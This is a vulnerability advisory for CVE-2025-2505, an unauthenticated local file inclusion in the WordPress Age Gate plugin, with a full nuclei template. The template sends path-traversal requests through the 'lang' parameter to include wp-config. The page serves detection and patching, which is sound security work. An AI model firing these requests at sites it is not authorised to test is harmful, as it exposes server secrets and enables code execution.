CVE-2025-2505· CWE-98
WordPress Age Gate <= 3.5.3 - Unauthenticated Local File Inclusion
criticalseverity
9.8CVSS score
4.9%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it
The Age Gate plugin for WordPress up to version 3.5.3 contains a local PHP file inclusion caused by the 'lang' parameter, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.
Impact
Attackers can execute arbitrary PHP code on the server, potentially leading to full server compromise.
Fix
Update to the latest version of the plugin, version 3.5.4 or later.
How to confirm it
Send: GET /?rest_route=/age-gate/v3/check ; GET /?rest_route=/age-gate/v3/check&age_gate[lang]=../../../../../../../../wp-config
Positive when: status_code_1 == 200 and contains(body_1, 'age_gate') and contains(body_2, 'DB_NAME already defined')Run it with nuclei: nuclei -id CVE-2025-2505 -u <target>
The full check
id: CVE-2025-2505
info:
name: WordPress Age Gate <= 3.5.3 - Unauthenticated Local File Inclusion
author: pussycat0x
severity: critical
description: |
The Age Gate plugin for WordPress up to version 3.5.3 contains a local PHP file inclusion caused by the 'lang' parameter, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.
impact:
Attackers can execute arbitrary PHP code on the server, potentially leading to full server compromise.
remediation:
Update to the latest version of the plugin, version 3.5.4 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/age-gate/age-gate-353-unauthenticated-local-php-file-inclusion-via-lang
- https://plugins.trac.wordpress.org/changeset/3271222/age-gate
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-2505
cwe-id: CWE-98
epss-score: 0.04884
epss-percentile: 0.92139
metadata:
verified: true
max-request: 2
tags: cve,cve2025,wordpress,wp-plugin,age-gate,lfi,wp,vkev
http:
- raw:
- |
GET /?rest_route=/age-gate/v3/check HTTP/1.1
Host: {{Hostname}}
- |
GET /?rest_route=/age-gate/v3/check&age_gate[lang]=../../../../../../../../wp-config HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_1 == 200"
- "contains(body_1, 'age_gate')"
- "contains(body_2, 'DB_NAME already defined')"
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/age-gate/age-gate-353-unauthenticated-local-php-file-inclusion-via-lang
- https://plugins.trac.wordpress.org/changeset/3271222/age-gate
Use this check only on systems you are authorised to test. Where the data comes from